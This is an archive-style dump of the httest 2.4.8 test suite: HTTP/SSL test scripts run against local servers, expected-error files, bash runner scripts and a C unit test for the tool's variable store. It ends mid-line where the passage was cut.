pipe_simple.htt \ pipe_to_file.htt \ plain2ssl.htt \ pop3_simple.htt \ pop3_tls.htt \ print_hex_match.htt \ proxy_main_functionality.htt \ random.htt \ recursiv.htb \ recv_chunked.htt \ recv_eof.htt \ recv_length.htt \ recv_polling.htt \ request_ended_server.htt \ require_module.htt \ require_version.htt \ rps.htt \ run_all.sh \ run_color.sh \ run_errors.sh \ run_errors_thread_no.sh \ run_help.sh \ run_lib.sh \ run_ntlm.sh \ run.sh \ run_valgrind.sh \ run_visual.sh \ run_wild.sh \ sendfile_chunked.htt \ sendfile.htt \ sendfile_multiple.htt \ server.cert.pem \ server_connection_close.htt \ server_def_before_client.htt \ server_distribute.htt \ server_ip_port.htt \ server.key.pem \ server_up_down.htt \ shared.htt \ shell.htb \ simple.htt \ simple_perf.htt \ simple_rampup.htt \ simple_stat.htt \ simple.visual \ skeleton.htt \ smtp_simple.htt \ socketbody.htt \ socks_domain_name.htt \ socks.htt \ sockstate.htt \ ssl_big_content.htt \ ssl_debug.htt \ ssl_get_cert.hte \ ssl_get_cert.htt \ ssl_get_cert.txt \ ssl_get_wrong_cert.hte \ ssl_get_wrong_cert.htt \ ssl_get_wrong_cert.txt \ ssl_multi_socket.htt \ ssl_mutual2.hte \ ssl_mutual2.txt \ ssl_mutual.hte \ ssl_mutual.htt \ ssl_mutual.txt \ ssl_mutual_verify.htt \ ssl_no_default_pem.htt \ ssl_plain_first.htt \ ssl_server_cert_verify2.htt \ ssl_server_cert_verify3.htt \ ssl_server_cert_verify.hte \ ssl_server_cert_verify.htt \ ssl_server_cert_verify.txt \ ssl_session_reuse.htt \ ssl_simple2.htt \ ssl_simple.htt \ ssl_socks.htt \ ssl_sockstate2.htt \ ssl_sockstate.htt \ ssl_stream_myself.htt \ ssl_threaded_server.htt \ ssl_timeout.htt \ stat.htt \ store.htt \ stream_myself.htt \ sync.htt \ syntax_global_in_body.hte \ syntax_global_in_body.txt \ syntax_invalid_local.hte \ syntax_invalid_local.txt \ tab_and_space_before_local.htt \ tagged_sockets.htt \ tcp_main.htt \ test_check_coredumps.sh \ test_run_all.sh \ test_run_errors.sh \ test_run_errors_thread_no.sh \ test_run_help.sh \ test_run_ntlm.sh \ test_run_shell.sh \ test_run_visual.sh \ threaded.htt \ threaded_server.htt \ time.htt \ timeout.htt \ trace_on_failure_2.htb \ trace_on_failure_3.htb \ trace_on_failure.htb \ trace_on_failure.hte \ trace_on_failure.txt \ tunnel.htt \ unicode.ntlm \ unset.htt \ unused_expect_body.hte \ unused_expect_body.txt \ unused_expect_dot.hte \ unused_expect_dot.txt \ unused_expect_exec.hte \ unused_expect_exec.txt \ unused_expect_headers.hte \ unused_expect_headers.txt \ unused_match_body.hte \ unused_match_body.txt \ unused_match_dot.hte \ unused_match_dot.txt \ unused_match_exec.hte \ unused_match_exec.txt \ unused_match_headers.hte \ unused_match_headers.txt \ urldecode.htt \ urlencode.htt \ var_double_ref.htt \ var_expect.hte \ var_expect.htt \ var_expect.txt \ variables.htt \ var_match.hte \ var_match.htt \ var_match.txt \ var_resolve.htt \ wait0.htt \ wait.htt \ websocket.htt \ websocket_huge.htt \ websocket_mask.htt \ _wrapper_test.sh \ xml.htt test_store_SOURCES=test_store.c $(top_srcdir)/src/store.c test_file_SOURCES=test_file.c $(top_srcdir)/src/file.c $(top_srcdir)/src/util.c $(top_srcdir)/src/store.c AM_CFLAGS=-I$(top_srcdir)/src check_PROGRAMS=test_store test_file TESTS = test_store test_file test_run_help.sh test_run_all.sh test_run_errors.sh test_run_visual.sh test_run_ntlm.sh test_check_coredumps.sh httest-2.4.8/test/match_order.htt0000664000175100017510000000066512141535454013767 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _MATCH body "(Astroid)" first _MATCH body "(Foobar)" second _MATCH body "(Velo)" third _MATCH body "(Hallo)" forth _SEQUENCE first second third forth _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __Astroid __Foobar __Velo __Hallo END httest-2.4.8/test/ssl_stream_myself.htt0000664000175100017510000000216012203674077015227 00000000000000@:SKIP $OS win # not supported INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST SSL:$YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ _EXEC cp ../src/httest httest_tmp #_EXEC strip httest_tmp _PIPE _EXEC cat httest_tmp _EXEC rm httest_tmp _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "httest[0-9a-z._]+" _WAIT _REQ $YOUR_HOST SSL:$YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Transfer-Encoding: chunked __ _FLUSH _EXEC cp ../src/httest httest_tmp _EXEC strip httest_tmp _PIPE chunked 2000 _EXEC cat httest_tmp _CHUNK _EXEC rm httest_tmp _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "httest[0-9a-z._]+" _WAIT END SERVER SSL:$YOUR_PORT _LOOP 2 _RES _EXEC| cat > httest_streamed _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __GOT MYSELF PUSHED into httest_streamed :-) _EXEC chmod u+x httest_streamed _PIPE 200 _EXEC ./httest_streamed --version _EXEC rm httest_streamed _END LOOP END DAEMON _SLEEP 30000 _DEBUG Seems to hang some where _EXIT FAILED END httest-2.4.8/test/match_order.hte0000664000175100017510000000066612141535454013751 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _MATCH body "(Astroid)" first _MATCH body "(Foobar)" second _MATCH body "(Velo)" third _MATCH body "(Hallo)" forth _SEQUENCE first third second forth _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ __Astroid __Foobar __Velo __Hallo END httest-2.4.8/test/deflate.htt0000664000175100017510000000322012205370114013061 00000000000000@:SKIP $OS win # FIXME? '_EXEC< gunzip' not working seems to be a problem with read pipe to thread SET MAX_DURATION=5000 INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXEC< gunzip _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _EXPECT . "AS2" _EXPECT . "AS3" _EXPECT . "AS4" _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXEC< gunzip _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "BEGIN" _EXPECT . "END" _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT body "AS OK" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ _PIPE _EXEC echo == AS1 OK == | gzip _PIPE _EXEC echo == AS2 OK == | gzip _PIPE _EXEC echo == AS3 OK == | gzip _PIPE _EXEC echo == AS4 OK == | gzip _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ _PIPE _EXEC echo BEGIN $1K$1K$1K$1K$1K$1K$1K$1K | gzip _PIPE _EXEC echo $1K$1K$1K$1K$1K$1K$1K$1K | gzip _PIPE _EXEC echo $1K$1K$1K$1K$1K$1K$1K$1K | gzip _PIPE _EXEC echo $1K$1K$1K$1K$1K$1K$1K$1K | gzip _PIPE _EXEC echo $1K$1K$1K$1K$1K$1K$1K$1K | gzip _PIPE _EXEC echo $1K$1K$1K$1K$1K$1K$1K$1K | gzip _PIPE _EXEC echo $1K$1K$1K$1K$1K$1K$1K$1K | gzip _PIPE _EXEC echo $1K$1K$1K$1K$1K$1K$1K$1K | gzip _PIPE _EXEC echo $1K$1K$1K$1K$1K$1K$1K$1K END | gzip _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ __==AS OK== END httest-2.4.8/test/trace_on_failure_2.htb0000664000175100017510000000012512141535454015167 00000000000000INCLUDE trace_on_failure_3.htb BLOCK FAILE_2 _EXPECT . "AS2 OK" _CALL FAILE_3 END httest-2.4.8/test/join.htt0000664000175100017510000000103612141535454012430 00000000000000INCLUDE $TOP/test/config.htb GLOBAL myG CLIENT _SLEEP 1000 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _EXPECT . "== OK ==" _WAIT _SET myG=SET END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END GO CLIENT _REQ $YOUR_HOST $YOUR_PORT2 __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _EXPECT . "== SET ==" _WAIT END SERVER $YOUR_PORT2 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== $myG == END httest-2.4.8/test/html.txt0000664000175100017510000000020212141535454012447 00000000000000 html.hte:12: error: Empty node set html.hte:12: error: CLT0-0 syntax error httest-2.4.8/test/global_exec.txt0000664000175100017510000000007012203674077013756 00000000000000 global_exec.hte:5: error: (null) Internal error(20014) httest-2.4.8/test/block_js.txt0000664000175100017510000000020412205174226013270 00000000000000 block_js.hte:6: error: block_js.hte:11:ReferenceError: ustForFun is not defined block_js.hte:15: error: CLT0-0 Invalid argument(22)httest-2.4.8/test/assert.hte0000664000175100017510000000004012141535454012745 00000000000000CLIENT _ASSERT "100 == 101" END httest-2.4.8/test/match_order.txt0000664000175100017510000000027212203674077014005 00000000000000 match_order.hte:13: error: The following match sequence "second forth " was not in correct order match_order.hte:13: error: CLT0-0 Invalid argument(22) httest-2.4.8/test/block_lua_file_md5.htt0000664000175100017510000000040112141535454015163 00000000000000REQUIRE_MODULE LUA INCLUDE $TOP/test/config.htb BLOCK:LUA MyMd5 p1 : hex assert(io.input(p1)) local md5_of_p1 = crypto.evp.digest("md5", io.read("*all")) return md5_of_p1 END CLIENT MyMd5 "$TOP/test/block_lua_file_md5.htt" HEX _DEBUG $HEX END httest-2.4.8/test/error_body.txt0000664000175100017510000000015612205174226013656 00000000000000 error_body.hte:11: error: EXPECT .: Did expect "OK" error_body.hte:12: error: CLT0-0 End of file found(70014)httest-2.4.8/test/icap_main.htt0000664000175100017510000000131012141535454013404 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __REQMOD /your/path/to/your/resource?your=params ICAP/1.0 __Host: $YOUR_HOST __Encapsulated: null-body=0 __ _EXPECT . "ICAP/1.0 200 OK" _WAIT _REQ $YOUR_HOST $YOUR_PORT __REQMOD /your/path/to/your/resource?your=params ICAP/1.0 __Host: $YOUR_HOST __Encapsulated: req-hdr=0, null-body=34 __ __GET / HTTP/1.1 __Host: 127.0.0.1 __ _EXPECT . "ICAP/1.0 200 OK" _WAIT END SERVER $YOUR_PORT _RES _WAIT __ICAP/1.0 200 OK __Connection: close __Encapsulated: null-body=0 __ _RES _WAIT __ICAP/1.0 200 OK __Connection: close __Encapsulated: req-hdr=0, req-body=39 __ __POST / HTTP/1.1 __Content-Length: 11 _FLUSH __== AS1 == _CHUNKED _CHUNKED __ END httest-2.4.8/test/ssl_server_cert_verify2.htt0000664000175100017510000000106312141535454016343 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT # also test if we could load cert and key in a client _REQ $YOUR_HOST SSL:$YOUR_PORT ca.cert.pem _RENEG verify _SSL:GET_CERT_VALUE M_VERSION version _SSL:GET_CERT_VALUE S_DN dn __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __Cert version $version __den $dn _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ END httest-2.4.8/test/tunnel.htt0000664000175100017510000000145512165562467013015 00000000000000INCLUDE $TOP/test/config.htb SET PROXY_HOST=$YOUR_HOST SET PROXY_PORT=$YOUR_PORT2 SET AS_HOST=$YOUR_HOST SET AS_PORT=$YOUR_PORT CLIENT _REQ $PROXY_HOST $PROXY_PORT __CONNECT $AS_HOST:$AS_PORT HTTP/1.1 __GET / HTTP/1.1 __Host: localhost __ _EXPECT . "200 OK" _EXPECT . "BEGIN" _EXPECT . "END" _WAIT _CLOSE _REQ $PROXY_HOST $PROXY_PORT __GET / HTTP/1.1 __Host: localhost __ _EXPECT . "200 OK" _WAIT END # emulated forward proxy with a tunnel to AS SERVER $PROXY_PORT _RES _MATCH body "CONNECT (.*):(.*) HTTP/1.1" AS AS_PORT _SOCKET _READLINE _TUNNEL $AS $AS_PORT _END SOCKET _CLOSE _RES _WAIT __HTTP/1.1 200 OK __ END SERVER $AS_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __BEGIN _LOOP 100 __............................................................................. _END LOOP __END END httest-2.4.8/test/test_run_errors_thread_no.sh0000775000175100017510000000007612203674077016600 00000000000000#!/bin/bash $srcdir/_wrapper_test.sh run_errors_thread_no.sh httest-2.4.8/test/timeout.htt0000664000175100017510000000061712203674077013167 00000000000000INCLUDE $TOP/test/config.htb CLIENT # "unix|windows" _ERROR "The timeout specified has expired|connection attempt failed because the connected party did not properly respond after a period of time" _TIMEOUT 2000 _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Content-Length: 10 __ _WAIT _END ERROR END SERVER $YOUR_PORT _SLEEP 6000 END httest-2.4.8/test/exec_expect.hte0000664000175100017510000000027012203674077013751 00000000000000@:SKIP $OS win # works without hashbang in first script line INCLUDE $TOP/test/config.htb CLIENT _EXPECT exec "!foobar" _SH #!/bin/bash _SH echo foobar _SH echo blabla _SH END END httest-2.4.8/test/block.htb0000664000175100017510000000036412141535454012544 00000000000000BLOCK ManualSetContentLength _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: 9 __ __==RQ1== _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _WAIT END httest-2.4.8/test/run_errors.sh0000775000175100017510000000102112203674077013505 00000000000000#!/bin/bash if [ -z $srcdir ]; then srcdir=. fi . $srcdir/run_lib.sh function run_single { E=$1 OUT=$2 B=`echo $E | sed -e 's/\(.*\)\.hte/\1/'` if [ -f $B.txt ]; then ./run.sh -n $B.hte 2>/tmp/tmp.txt >/dev/null if [ $? -eq 2 ]; then return 2 fi cat /tmp/tmp.txt | sort >/tmp/tmpA.txt cat $B.txt | sort >/tmp/tmpB.txt diff -Bw /tmp/tmpA.txt /tmp/tmpB.txt >>$OUT else printf "SKIP" fi } echo error scripts tests LIST=`ls *.hte` COUNT=`ls *.hte | wc -l` run_all "$LIST" $COUNT httest-2.4.8/test/100cont.htt0000664000175100017510000000063612141535454012662 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Content-Length: 10 __Expect: 100-Continue __ _EXPECT . "HTTP/1.1 100 Continue" _WAIT 0 __01234567 _WAIT END SERVER $YOUR_PORT _RES _WAIT 0 __HTTP/1.1 100 Continue __ _RES _EXPECT . "01234567" _RECV 10 __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END httest-2.4.8/test/errors_win_crlf.hte0000775000175100017510000000063312204435011014642 00000000000000INCLUDE $TOP/test/config.htb # this file has windows CFLF endings CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS2" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ END httest-2.4.8/test/html.hte0000664000175100017510000000127112141535454012417 00000000000000REQUIRE_MODULE HTML INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __ _WAIT BUF _HTML:PARSE VAR(BUF) _HTML:XPATH /foo/bar R END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/html __Content-Length: AUTO __ __ __ __ Hallo Welt
__ Du schnoed Welt
__
__ __ __ __ __
__ bla fasel __ he ho __ __ END httest-2.4.8/test/block_js_args.txt0000664000175100017510000000015212203674077014315 00000000000000 error: Javascript BLOCKs support only one return value error: Failed on block start Internal error(20014)httest-2.4.8/test/test_store.c0000664000175100017510000000716412141535454013317 00000000000000/* contributor license agreements. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Store unit test */ /* affects include files on Solaris */ #define BSD_COMP /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include "defines.h" #include #include #include #include "store.h" /************************************************************************ * Defines ***********************************************************************/ /************************************************************************ * Typedefs ***********************************************************************/ /************************************************************************ * Implementation ***********************************************************************/ int main(int argc, const char *const argv[]) { apr_pool_t *pool; apr_pool_t *subpool; store_t *store; int i; const char *var; const char *val; const char *ref; /** init store */ apr_app_initialize(&argc, &argv, NULL); apr_pool_create(&pool, NULL); store = store_make(pool); fprintf(stdout, "add 1000 items\n"); for (i = 0; i < 1000; i++) { apr_pool_create(&subpool, pool); var = apr_psprintf(pool, "myVar%d", i); ref = apr_psprintf(pool, "mYvAr%d", i); store_set(store, var, ref); val = store_get(store, var); assert(val != NULL); assert(strcmp(val, ref) == 0); apr_pool_destroy(subpool); } fprintf(stdout, "get all 1000 items\n"); for (i = 0; i < 1000; i++) { apr_pool_create(&subpool, pool); var = apr_psprintf(pool, "myVar%d", i); ref = apr_psprintf(pool, "mYvAr%d", i); val = store_get(store, var); assert(val != NULL); assert(strcmp(val, ref) == 0); apr_pool_destroy(subpool); } fprintf(stdout, "set all 1000 items to different value\n"); for (i = 0; i < 1000; i++) { apr_pool_create(&subpool, pool); var = apr_psprintf(pool, "myVar%d", i); ref = apr_psprintf(pool, "MyVaR%d", i); store_set(store, var, ref); val = store_get(store, var); assert(val != NULL); assert(strcmp(val, ref) == 0); apr_pool_destroy(subpool); } fprintf(stdout, "get all 1000 items with different value\n"); for (i = 0; i < 1000; i++) { apr_pool_create(&subpool, pool); /* name case sensitive */ var = apr_psprintf(pool, "MYvAR%d", i); val = store_get(store, var); assert(val == NULL); /* value case sensitive */ var = apr_psprintf(pool, "myVar%d", i); ref = apr_psprintf(pool, "mYvAr%d", i); val = store_get(store, var); assert(val != NULL); assert(strcmp(val, ref) != 0); /* get it */ var = apr_psprintf(pool, "myVar%d", i); ref = apr_psprintf(pool, "MyVaR%d", i); val = store_get(store, var); assert(val != NULL); assert(strcmp(val, ref) == 0); apr_pool_destroy(subpool); } return 0; } httest-2.4.8/test/late_var_replace.htt0000664000175100017510000000051112141535454014756 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __Late: $MY_UNRESOLVED_VAR __ _SET MY_UNRESOLVED_VAR=foo _WAIT END SERVER $YOUR_PORT _RES _EXPECT headers "Late: foo" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END httest-2.4.8/test/server_def_before_client.htt0000664000175100017510000000111412141535454016472 00000000000000INCLUDE $TOP/test/config.htb SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 Ok __ END CLIENT _REQ $YOUR_HOST $YOUR_PORT4 __GET / HTTP/1.1 __Host: localhost __ _WAIT END SERVER $YOUR_PORT2 _RES _WAIT __HTTP/1.1 200 Ok __ END CLIENT _REQ $YOUR_HOST $YOUR_PORT3 __GET / HTTP/1.1 __Host: localhost __ _WAIT END CLIENT _REQ $YOUR_HOST $YOUR_PORT2 __GET / HTTP/1.1 __Host: localhost __ _WAIT END CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: localhost __ _WAIT END SERVER $YOUR_PORT3 _RES _WAIT __HTTP/1.1 200 Ok __ END SERVER $YOUR_PORT4 _RES _WAIT __HTTP/1.1 200 Ok __ END httest-2.4.8/test/block_lua_transport.htt0000664000175100017510000000103512203674077015543 00000000000000@:SKIP $OS win # FIXME "No status line received" REQUIRE_MODULE LUA INCLUDE $TOP/test/config.htb BLOCK:LUA MyLuaThing t = htt.getTransport() print() buf = t:read(8192) print("\n--------------") print(buf.."--------------") t:write("GET / HTTP/1.1\r\n"); t:write("\r\n"); print() END CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: httest __ _FLUSH MyLuaThing END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == _RES _EXPECT headers "GET / HTTP/1\.1" _WAIT END httest-2.4.8/test/unused_match_exec.txt0000664000175100017510000000013112203674077015173 00000000000000 unused_match_exec.hte:2: error: There are unused MATCH exec httest-2.4.8/test/run.sh0000775000175100017510000000011612141535454012111 00000000000000#!/bin/bash TOP=.. export TOP HTTEST=$TOP/src/httest $HTTEST_PRE $HTTEST $@ httest-2.4.8/test/milestone.txt0000664000175100017510000000024512205174226013506 00000000000000 milestone.hte:4: error: EXPECT var: Did expect "bla" milestone.hte:5: error: CLT0-0 Invalid argument(22) milestone.hte:7: error: milestons: 2; success: 1; failed: 1httest-2.4.8/test/errors.htt0000664000175100017510000000072212203674077013012 00000000000000@:SKIP $OS mac # sometimes no error printed INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _CLOSE END SERVER $YOUR_PORT _RES # "unix|windows" _EXPECT ERROR "Broken pipe|established connection was aborted" _WAIT _SLEEP 500 __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== _FLUSH END httest-2.4.8/test/exit.hte0000664000175100017510000000012212141535454012416 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _EXIT FAILED END httest-2.4.8/test/multi_line_variable.htt0000664000175100017510000000013012203674077015475 00000000000000CLIENT _SET A> $OUT 2>> $OUT } echo normal test execution LIST=`ls ${@}` COUNT=`ls ${@} | wc -l` run_all "$LIST" $COUNT httest-2.4.8/test/ssl_threaded_server.htt0000664000175100017510000000153212141535454015521 00000000000000INCLUDE $TOP/test/config.htb CLIENT 15 _SET DATA=initial _RAND 1 120 COUNT _REQ $YOUR_HOST SSL:$YOUR_PORT __POST /setup HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __Count: $COUNT _WAIT _LOOP $COUNT _REQ $YOUR_HOST SSL:$YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Data: $DATA __ _MATCH headers "DATA=(.*)" DATA _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _WAIT _END LOOP _CLOSE END SERVER SSL:$YOUR_PORT 15 _RES _MATCH body "Count: (.*)" COUNT _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __Ok _LOOP $COUNT _RAND 1 10000000 RAND_DATA _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __Set-Data: DATA=1234567890abcdefghijklmnopqrstuvwxyz$RAND_DATA __ __ __==AS1 - 0== __ _END LOOP END httest-2.4.8/test/ssl_simple.htt0000664000175100017510000000136012141535454013643 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT # also test if we could load cert and key in a client _REQ $YOUR_HOST SSL:$YOUR_PORT client.cert.pem client.key.pem __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT _REQ $YOUR_HOST SSL:$YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT _CERT server.cert.pem server.key.pem _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ _RES _WAIT __HTTP/1.1 200 OK __Connection: close __Content-Type: text/html __ __==AS1 - 0== __ _CLOSE END httest-2.4.8/test/require_module.htt0000664000175100017510000000012612141535454014511 00000000000000REQUIRE_MODULE LUA SSL FOO CLIENT _DEBUG *MUST* not reach this line _EXIT FAILED END httest-2.4.8/test/block_lua_httest.htt0000664000175100017510000000075612141535454015027 00000000000000REQUIRE_MODULE LUA INCLUDE $TOP/test/config.htb BLOCK:LUA MyLuaThing for i = 1,10 do htt.interpret("_DEBUG adfasf"); end htt.interpret([[ _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: httest __ _WAIT BUF ]]) body = htt.getVar("BUF") assert(body == "== OK ==\r\n") print("\n------------------") print(body.."------------------") END CLIENT MyLuaThing END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END httest-2.4.8/test/finally_on_failed3.htt0000664000175100017510000000045612203674077015223 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/test/shell.htb EXEC echo foo bar >myfile CLIENT _SLEEP 30000 _EXIT FAILED END CLIENT _SLEEP 2000 _EXPECT Exec "foo bar" setShellCommandVars _EXEC $CAT myfile _SLEEP 1000 _EXEC fail_please END BLOCK FINALLY setShellCommandVars _EXEC $RM myfile _EXIT OK END httest-2.4.8/test/simple_rampup.htt0000664000175100017510000000225112203674077014352 00000000000000# win: can start htremote's (if cygwin), test seems then # to proceed normally, but then hangs, likely at the end @:SKIP $OS win # FIXME hangs until timeout INCLUDE $TOP/test/config.htb DAEMON _EXEC ../src/htremote -p10011 -e"/bin/bash ./run.sh -Ssn" END DAEMON _EXEC ../src/htremote -p10012 -e"/bin/bash ./run.sh -Ssn" END DAEMON _EXEC ../src/htremote -p10013 -e"/bin/bash ./run.sh -Ssn" END CLIENT _SLEEP 50 END GO PERF:RAMPUP 10 5000 PERF:DISTRIBUTED localhost:10011 PERF:DISTRIBUTED localhost:10012 PERF:DISTRIBUTED localhost:10013 PERF:DISTRIBUTED localhost:10014 SET con=40 SET count=20 CLIENT $con _LOOP $count _REQ $YOUR_HOST $YOUR_PORT __GET / HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __ _WAIT _END END SERVER $YOUR_PORT $con _LOOP $count _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ __Hallo Velo _END END GO # test must not take lesser than 20 seconds CLIENT _DATE:TIMER GET T _DEBUG $T _IF ($T < 15000) _DEBUG Test must durate at least 15 seconds, else rampup did not take place _EXIT FAILED _END _IF ($T > 20000) _DEBUG Test should not durate longer than 20 seconds, else rampup calculation may be wrong _END END httest-2.4.8/test/function.htt0000664000175100017510000000157312141535454013324 00000000000000INCLUDE $TOP/test/config.htb BLOCK foo BLA FASEL HELLO : FOO BAR __$BLA | $FASEL | $HELLO _SET FOO=Hallo Velo _SET BAR=function call END BLOCK _DUMMY __dummy dummy dummy END BLOCK _DUMMY2 : BLA _SET BLA=dummy2 END BLOCK _DUMMY3 FOO : BLA __$FOO _SET BLA=dummy3 END BLOCK _DUMMY4 : RET _SET RET=dummy4 END CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _EXPECT body "ha he hi | fasel | hello kitty" _EXPECT body "Hallo Velo | function call" _EXPECT body "dummy dummy dummy" _EXPECT body "dummy2" _EXPECT body "call DUMMY3" _EXPECT body "dummy3" _EXPECT body "dummy4" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Connection: close __ _CALL foo "ha he hi" "fasel" "hello kitty" BLA BLI __$BLA | $BLI _DUMMY _DUMMY2 FOO __$FOO _DUMMY3 "call DUMMY3" GET __$GET _DUMMY4 BAR __$BAR END httest-2.4.8/test/multi_line_match.htt0000664000175100017510000000255312141535454015013 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _MATCH body "MAC: deadbeefbabe.*\r\n.*\r\n.*\r\n.*\r\n\t*.*\r\n.*href='([^']*)'" DEBUG _WAIT _REQ $YOUR_HOST $YOUR_PORT __POST 